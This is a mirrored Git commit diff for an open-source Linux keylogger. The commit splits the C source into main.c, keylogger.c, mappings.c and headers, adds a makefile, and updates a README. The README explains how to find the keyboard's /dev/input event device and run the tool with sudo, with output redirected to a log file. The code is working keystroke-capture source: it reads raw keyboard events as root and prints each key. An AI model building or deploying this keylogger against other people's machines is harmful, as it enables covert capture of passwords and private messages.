mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 16:10:12 -07:00
separate files
This commit is contained in:
parent
c98fc1ce75
commit
ee9c1da20b
29
README.md
29
README.md
@ -1,8 +1,16 @@
|
||||
# Linux Keylogger
|
||||
|
||||
# How to use
|
||||
Find your keyboard device
|
||||
Your keyboard device should be in the below format
|
||||
# Instructions
|
||||
|
||||
- Compile keylogger
|
||||
```sh
|
||||
$ cd Linux-Keylogger
|
||||
$ make
|
||||
```
|
||||
|
||||
|
||||
- Find your keyboard device
|
||||
Your keyboard device should be
|
||||
```
|
||||
/dev/input/eventX
|
||||
```
|
||||
@ -11,21 +19,16 @@ Find it using
|
||||
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
|
||||
```
|
||||
|
||||
|
||||
- Run keylogger
|
||||
```sh
|
||||
$ sudo bin/keylogger /dev/input/eventX
|
||||
$ sudo ./keylogger /dev/input/eventX
|
||||
```
|
||||
|
||||
|
||||
Now whatever you type should be printed in the terminal.
|
||||
If you want to keep in log file use
|
||||
- Run examples
|
||||
```sh
|
||||
$ sudo bin/keylogger /dev/input/eventX > logfile.txt
|
||||
$ sudo ./keylogger /dev/input3
|
||||
$ sudo ./keylogger /dev/input3 > logfile.txt
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
@TODO
|
||||
1. Find keyboard device automatically
|
||||
2. Write logs to structured html file
|
||||
|
BIN
bin/keylogger
BIN
bin/keylogger
Binary file not shown.
136
keylogger.c
136
keylogger.c
@ -1,17 +1,5 @@
|
||||
#include <linux/input.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int get_key_press(int fd, struct input_event ev);
|
||||
int input_has_errors(int argc, char *argv[]);
|
||||
int user_is_root();
|
||||
char * get_key_description(int key_code);
|
||||
void generate_mappings(char ** mappings);
|
||||
|
||||
#include "keylogger.h"
|
||||
|
||||
/*
|
||||
* returns 0 if user is not root
|
||||
@ -58,125 +46,5 @@ int get_key_press(int fd, struct input_event ev) {
|
||||
|
||||
// if no key pressed check again
|
||||
get_key_press(fd, ev);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Convert key codes to string values
|
||||
// ex: mappings[code] = "value"
|
||||
char * mappings[1024];
|
||||
int i;
|
||||
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
||||
generate_mappings(mappings);
|
||||
|
||||
|
||||
// Check for errors
|
||||
if (input_has_errors(argc, argv)) {
|
||||
return -1;
|
||||
}
|
||||
if (!user_is_root()) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Start keyboard device as read only
|
||||
int fd;
|
||||
fd = open(argv[1], O_RDONLY);
|
||||
|
||||
// Initialize input event
|
||||
struct input_event ev;
|
||||
|
||||
// Scan for key strokes and print them
|
||||
while (1){
|
||||
int key_code = get_key_press(fd, ev); // get key code
|
||||
if (key_code < 1024)
|
||||
printf("%s\n",mappings[key_code]); // print value of key code
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Generates a value for each key stroke code
|
||||
*/
|
||||
void generate_mappings(char ** codes) {
|
||||
codes[1] = "esc";
|
||||
codes[59] = "f1";
|
||||
codes[60] = "f2";
|
||||
codes[61] = "f3";
|
||||
codes[62] = "f4";
|
||||
codes[63] = "f5";
|
||||
codes[64] = "f6";
|
||||
codes[65] = "f7";
|
||||
codes[66] = "f8";
|
||||
codes[67] = "f9";
|
||||
codes[68] = "f10";
|
||||
codes[87] = "f11";
|
||||
codes[88] = "f12";
|
||||
// --
|
||||
codes[41] = "`";
|
||||
codes[2] = "1";
|
||||
codes[3] = "2";
|
||||
codes[4] = "3";
|
||||
codes[5] = "4";
|
||||
codes[6] = "5";
|
||||
codes[7] = "6";
|
||||
codes[8] = "7";
|
||||
codes[9] = "8";
|
||||
codes[10] = "9";
|
||||
codes[11] = "0";
|
||||
codes[12] = "-";
|
||||
codes[13] = "=";
|
||||
codes[14] = "back";
|
||||
// --
|
||||
codes[15] = "tab";
|
||||
codes[16] = "q";
|
||||
codes[17] = "w";
|
||||
codes[18] = "e";
|
||||
codes[19] = "r";
|
||||
codes[20] = "t";
|
||||
codes[21] = "y";
|
||||
codes[22] = "u";
|
||||
codes[23] = "i";
|
||||
codes[24] = "o";
|
||||
codes[25] = "p";
|
||||
codes[26] = "[";
|
||||
codes[27] = "]";
|
||||
codes[43] = "\\";
|
||||
// --
|
||||
codes[58] = "caps";
|
||||
codes[30] = "a";
|
||||
codes[31] = "s";
|
||||
codes[32] = "d";
|
||||
codes[33] = "f";
|
||||
codes[34] = "g";
|
||||
codes[35] = "h";
|
||||
codes[36] = "j";
|
||||
codes[37] = "k";
|
||||
codes[38] = "l";
|
||||
codes[39] = ";";
|
||||
codes[40] = "\"";
|
||||
codes[28] = "\n";
|
||||
// --
|
||||
codes[42] = "shift";
|
||||
codes[44] = "z";
|
||||
codes[45] = "x";
|
||||
codes[46] = "c";
|
||||
codes[47] = "v";
|
||||
codes[48] = "b";
|
||||
codes[49] = "n";
|
||||
codes[50] = "m";
|
||||
codes[51] = ",";
|
||||
codes[52] = ".";
|
||||
codes[53] = "/";
|
||||
codes[54] = "shift";
|
||||
// --
|
||||
codes[29] = "ctrl";
|
||||
codes[125] = "super";
|
||||
codes[56] = "alt";
|
||||
codes[57] = " ";
|
||||
codes[100] = "alt";
|
||||
codes[126] = "super";
|
||||
codes[127] = "right click";
|
||||
codes[97] = "ctrl";
|
||||
|
||||
}
|
||||
|
19
keylogger.h
Normal file
19
keylogger.h
Normal file
@ -0,0 +1,19 @@
|
||||
#ifndef KEYLOGGER_H_INCLUDED
|
||||
#define KEYLOGGER_H_INCLUDED
|
||||
|
||||
#include <linux/input.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
int get_key_press(int fd, struct input_event ev);
|
||||
int input_has_errors(int argc, char *argv[]);
|
||||
int user_is_root();
|
||||
char * get_key_description(int key_code);
|
||||
void generate_mappings(char ** mappings);
|
||||
|
||||
#endif
|
45
main.c
Normal file
45
main.c
Normal file
@ -0,0 +1,45 @@
|
||||
#include <linux/input.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "keylogger.h"
|
||||
#include "mappings.h"
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Convert key codes to string values
|
||||
// ex: mappings[code] = "value"
|
||||
char * mappings[1024];
|
||||
int i;
|
||||
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
||||
generate_mappings(mappings);
|
||||
|
||||
|
||||
// Check for errors
|
||||
if (input_has_errors(argc, argv)) {
|
||||
return -1;
|
||||
}
|
||||
if (!user_is_root()) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Start keyboard device as read only
|
||||
int fd;
|
||||
fd = open(argv[1], O_RDONLY);
|
||||
|
||||
// Initialize input event
|
||||
struct input_event ev;
|
||||
|
||||
// Scan for key strokes and print them
|
||||
while (1){
|
||||
int key_code = get_key_press(fd, ev); // get key code
|
||||
if (key_code < 1024)
|
||||
printf("%s\n",mappings[key_code]); // print value of key code
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
17
makefile
Normal file
17
makefile
Normal file
@ -0,0 +1,17 @@
|
||||
CC = gcc
|
||||
|
||||
keylogger: main.o keylogger.o mappings.o
|
||||
$(CC) -o keylogger main.o keylogger.o mappings.o
|
||||
|
||||
|
||||
main.o: main.c keylogger.h mappings.h
|
||||
$(CC) -c main.c -o main.o
|
||||
|
||||
keylogger.o: keylogger.c keylogger.h
|
||||
$(CC) -c keylogger.c -o keylogger.o
|
||||
|
||||
mappings.o: mappings.c mappings.h
|
||||
$(CC) -c mappings.c -o mappings.o
|
||||
|
||||
clean:
|
||||
$(RM) *.o keylogger
|
86
mappings.c
Normal file
86
mappings.c
Normal file
@ -0,0 +1,86 @@
|
||||
#include "mappings.h"
|
||||
|
||||
/*
|
||||
* Generates a value for each key stroke code
|
||||
*/
|
||||
void generate_mappings(char ** codes) {
|
||||
codes[1] = "esc";
|
||||
codes[59] = "f1";
|
||||
codes[60] = "f2";
|
||||
codes[61] = "f3";
|
||||
codes[62] = "f4";
|
||||
codes[63] = "f5";
|
||||
codes[64] = "f6";
|
||||
codes[65] = "f7";
|
||||
codes[66] = "f8";
|
||||
codes[67] = "f9";
|
||||
codes[68] = "f10";
|
||||
codes[87] = "f11";
|
||||
codes[88] = "f12";
|
||||
// --m
|
||||
codes[41] = "`";
|
||||
codes[2] = "1";
|
||||
codes[3] = "2";
|
||||
codes[4] = "3";
|
||||
codes[5] = "4";
|
||||
codes[6] = "5";
|
||||
codes[7] = "6";
|
||||
codes[8] = "7";
|
||||
codes[9] = "8";
|
||||
codes[10] = "9";
|
||||
codes[11] = "0";
|
||||
codes[12] = "-";
|
||||
codes[13] = "=";
|
||||
codes[14] = "back";
|
||||
// --
|
||||
codes[15] = "tab";
|
||||
codes[16] = "q";
|
||||
codes[17] = "w";
|
||||
codes[18] = "e";
|
||||
codes[19] = "r";
|
||||
codes[20] = "t";
|
||||
codes[21] = "y";
|
||||
codes[22] = "u";
|
||||
codes[23] = "i";
|
||||
codes[24] = "o";
|
||||
codes[25] = "p";
|
||||
codes[26] = "[";
|
||||
codes[27] = "]";
|
||||
codes[43] = "\\";
|
||||
// --
|
||||
codes[58] = "caps";
|
||||
codes[30] = "a";
|
||||
codes[31] = "s";
|
||||
codes[32] = "d";
|
||||
codes[33] = "f";
|
||||
codes[34] = "g";
|
||||
codes[35] = "h";
|
||||
codes[36] = "j";
|
||||
codes[37] = "k";
|
||||
codes[38] = "l";
|
||||
codes[39] = ";";
|
||||
codes[40] = "\"";
|
||||
codes[28] = "\n";
|
||||
// --
|
||||
codes[42] = "shift";
|
||||
codes[44] = "z";
|
||||
codes[45] = "x";
|
||||
codes[46] = "c";
|
||||
codes[47] = "v";
|
||||
codes[48] = "b";
|
||||
codes[49] = "n";
|
||||
codes[50] = "m";
|
||||
codes[51] = ",";
|
||||
codes[52] = ".";
|
||||
codes[53] = "/";
|
||||
codes[54] = "shift";
|
||||
// --
|
||||
codes[29] = "ctrl";
|
||||
codes[125] = "super";
|
||||
codes[56] = "alt";
|
||||
codes[57] = " ";
|
||||
codes[100] = "alt";
|
||||
codes[126] = "super";
|
||||
codes[127] = "right click";
|
||||
codes[97] = "ctrl";
|
||||
}
|
6
mappings.h
Normal file
6
mappings.h
Normal file
@ -0,0 +1,6 @@
|
||||
#ifndef MAPPINGS_H_INCLUDED
|
||||
#define MAPPINGS_H_INCLUDED
|
||||
|
||||
void generate_mappings(char ** codes);
|
||||
|
||||
#endif
|
Loading…
x
Reference in New Issue
Block a user